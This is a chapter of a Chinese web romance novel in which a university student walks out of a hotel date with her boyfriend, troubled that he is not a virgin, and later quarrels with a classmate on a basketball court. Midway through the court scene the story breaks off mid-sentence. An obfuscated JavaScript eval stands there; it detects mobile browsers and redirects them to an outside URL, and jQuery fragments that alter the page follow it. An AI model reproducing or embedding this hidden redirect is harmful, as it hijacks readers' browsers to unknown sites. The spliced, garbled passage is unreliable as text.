电梯上行，一片空白的大脑阻碍了虞徽的思考。她拿着包的手指攥了又攥，看向吴京恺。


    两人对着笑了下，都有些紧张。


    吴京恺用房卡刷开门，开灯后让虞徽先进去。他调好空调温度，继而脱下外套，指着卫生间，“我先洗澡？”


    “好。”


    在卫生间锁落下的刹那，虞徽呼出长长的一口气。她的目光落在床上，习惯性地要把床尾巾拿下。手碰上后，又松开。站不是，坐也不是。耳边满是卫生间传来的水声，心像被吊着似的，空落落。


    尽管虞徽平日里看文艺作品无关尺度大小都来者不拒，但性教育这块的知识实在太过缺乏。她无法想象她与吴京恺两个人赤条条地躺在床上，对那样的场景并无多少期待。


    吴京恺洗了足足有半个多小时，他穿浴袍的样子在虞徽眼里有点怪。平日里的文气不在，被别扭的成熟取代。该是摘下眼镜还不太习惯，眯着眼向虞徽看来，“你要不要也去洗洗。”


    虞徽听到这话并没有动，她的包还拎在手上，没有离开，但有件事需要确认。


    她问吴京恺：“你跟之前的女朋友有开过房吗？”


    很破坏气氛的一句话，从吴京恺的脸色可以看出来。他笑容滞住，又很尴尬地笑了笑，最终点头。


    啊，竟然不是处男。那她是不是有点吃亏了。


    就在此刻，虞徽才意识到自己有处男情结。


    她不知道以后，但他们才都不到二十，性生活本来就是比较陌生的词汇。即使陌生，却也有自己的要求。她是第一次，所以理应对方也应该是。这个涉及到她对恋爱的期待，不想真正做起来的时候想太多。


    哎，吴京恺为什么不会撒谎呢。不如说谎骗她呢。


    虞徽没再说什么，或许可以克服一下。


    她走去卫生间，环顾一圈，拿出手机坐在浴缸边查东西。


    百度是个好工具。避孕套虞徽知道，必需品。其它的内容，她一眼扫过。本来想给周屿发个消息求助一下，想想作罢。


    半个小时过去了，虞徽还是没有动作。再起身，她衣服完整地打开卫生间的门。


    见吴京恺也不自在，她要说的话犹豫在唇边。吴京恺是个仔细的人，肯定察觉到了她的拒绝。但他在等她主动开口。


    真的是一瞬间从恋爱的小泡泡到幻影的破灭。今天的约会很开心，吴京恺也是个非常好的人，可她心里的槛迈不过去。


    虞徽不知道这件事该怎么和别人讲，她现在有很多疑问需要解答。但又怕得到一句“现在都什么年代了，还在乎这个？”


    现在是什么年代？为什么不在意这个？


    “我还是先回学校吧。”虞徽说完不好意思地看了他一眼，而后迅速地撇下头。


    吴京恺很快回答：“那你等我，我穿一下衣服。”


    “不了，我自己回去，我想一个人静静。”她说着已经走向门口，轻轻开门，轻轻关上，没有再回头。


    在门关上的那一秒，虞徽迅速跑向电梯。幸好走廊铺的是静音地毯，不然里面的人肯定能听到她的脚步声是有多慌乱。


    虞徽连着摁了好几下关门键，她有点怕吴京恺会追过来。打车软件全勾，接单的司机距离酒店只有五百米，她一开车门就坐进去，让司机师傅快点开。


    在车上，虞徽打开百度搜索：有处男情结心理正常吗、我是第一次男朋友不是怎么调节、男朋友不是第一次心里隔应、接吻不在意第一次上床在意男友是否是第一次什么原因、性在恋爱中有什么作用、无性恋爱的情侣比例、柏拉图恋爱、对男朋友身体没欲望正常吗、不排斥接吻但排斥做/爱、没人觉得做/爱很搞笑吗、怎么委婉提分手、分手之后可以快速走出来吗......


    “小姑娘，你没事吧？”司机从后视镜看了好几次后座的虞徽，见她一副失魂落魄的样子。看起来应该是个学生，还刚从酒店里出来，他怕出什么事就多问了一嘴。


    虞徽盖上手机，摇头，“没事。”


    她下车后，拢了拢衣服袖子，才往校门口走。


    十点多，这个时间点路上的人很少了。虞徽穿过门口的密林大道，往右转。在下一个十岔路口的时间才发现走错了，只能从篮球场那片绕过去。


    到现在还有人打篮球呢，哐哐的砸球声在半夜显得格外烦人。虞徽没心情关注周遭的一切，直到一个篮球砸到她脚边，她才迟缓地停下。


    要是她走快一点就要砸到她身上了，虞徽立马来了气，毫无形象地骂道：“你瞎啊！”


    她在的路边与篮球场其实有一排树挡着，根本就不会莫名其妙被砸到，除非这个人技术太烂。虞徽气不打一处来，直接把球反过去踢远。


    打！打！让你打！


    “不好意思，不小心。”来人朝这里跑来，追着球，一踢一勾，球回到手上。他看着虞徽气鼓鼓的脸，略微沉思了会儿，问道：“你怎么了？”


    “什么怎么了？你差点砸到我还问我怎么？技术这么烂打什么篮球，回宿舍躺着不行吗？时景，你是在整我吗，我他爹的干了什么你老是整我？”


    虞徽穿得漂亮淑女，话却是火山爆发似的锐利。时景皱着眉，不理解她为什么这么大火气。


    他走过去，盯着她因为愤怒而双颊微鼓的脸，“你怎么了？”他又问。


    “你是复读机吗，脑子在打篮球的时候掉了吗只会问这一句？”虞徽现在对这个人已经忍无可忍了，什么素质，什么喜欢，反正现在黑灯瞎火谁都看不见，她要做自己！


    “你跟吴京恺吵架了？”


    “我在和你吵架。”


    “我不和你吵。”


    时景看明白了，不是因为球，而是她在转移怒火。出于他有对自己吵不过的自知之明，拍了两下球，打算离开。


    球场上还有两个人，周和阳和荀章。两人站在树旁边看戏。荀章都打累了，时景却不让他走。看现在的景况嘛，是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116382|194391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明白了，原来在等人。只是吧，虞徽这样子一看就是打扮过去约会的，而男朋友不见人影了。


    虞徽把包猛然砸向时景，走过去揪着他衣服把人往下压。两张脸贴近，她侧脸启唇，有如恶作剧般问道：“时景，你是不是想跟我谈恋爱？”


    时景瞬间僵住，没敢再动。他难以置信地睁大眼，一时言语功能失灵。


    接着，虞徽又说：“做梦。”


    她很满意时景的反应，愉快地笑了下，勉强原谅了他刚才的幼稚行为。


    时景皱着眉，轻推开她，眉眼里都是警告。很明显，这样的戏耍他不喜欢。


    虞徽拿起地上的包，左右翻看。有一小块被水泥地擦得破了皮，看得让人有些心疼。五千左右的轻奢包，对她这样的普通女大学生来说，只有约会才舍得拿出来背的。


    她瞪了时景一眼，恨不得把他踹下学校的化粪池。


    “喏，都怪你。”虞徽抱怨。


    时景掏出手机拍了张照片，说：“赔你一个。”


    “三天之内。”


    荀章见她们二人之间的气氛好了点，上前来和虞徽打招呼：“哟，今天很漂亮嘛。”


    虞徽对着他轻哼了声，翻个白眼，“你以前是瞎了吗，一直很漂亮。”


    “......”荀章噎了噎，决定不跟女孩计较。


    临走前，虞徽不忘对时景道：“包到时候放到我们宿舍楼下大堂桌子上就行了。”


    不久前他们还有你没我呢，现在又接触上了，虞徽对时景的阴魂不散很郁闷。


    不过现在有更重要的事，她解气似的把时景手上的球夺来，用力往远处扔去，而后潇洒离开。


    虞徽一路念念叨叨，QA想了一大堆，但总不能说服自己。她想分手了，但这个想的程度可能只占了百分之三十左右。但是后面想到吴京恺不是处男，又增加到了百分之六七十。


    吴京恺的好是百分百的铁事实，她们相处地很开心也是虞徽无法决定的重要原因。这半年来，她熟悉了有吴京恺的陪伴，他是个好男友。


    她让自己冷静，冷静，千万冷静，最终决定冷处理一段时间。


    回到宿舍，舍友们都很关心地问她约会怎么样。虞徽假笑着说挺好地，快速洗漱完拉上帘子，在自己的小空间里郁闷去了。


    第二天，吴京恺像什么事都没有发生那般来宿舍楼下等虞徽吃早饭。今天早上，她们都是早八课。


    虞徽抱着手里的书，犹豫地走近他。两个人吃得沉默，默契地谁都不提昨晚的事。


    但她们的相处变质了，亲密举动都变得尴尬。有时候甚至都不敢对视，巨大的沟壑横在中间，两个人都没有勇气跨过去。


    又到了期中考，虞徽暂时因为繁忙的学习忘却了这件事。


    她们之间的正式谈话是在她考完后，吴京恺主动提的，约在她们之前经常去的咖啡馆。只是这次不是单纯地来这里看书学习耗时间，而像是一场告别。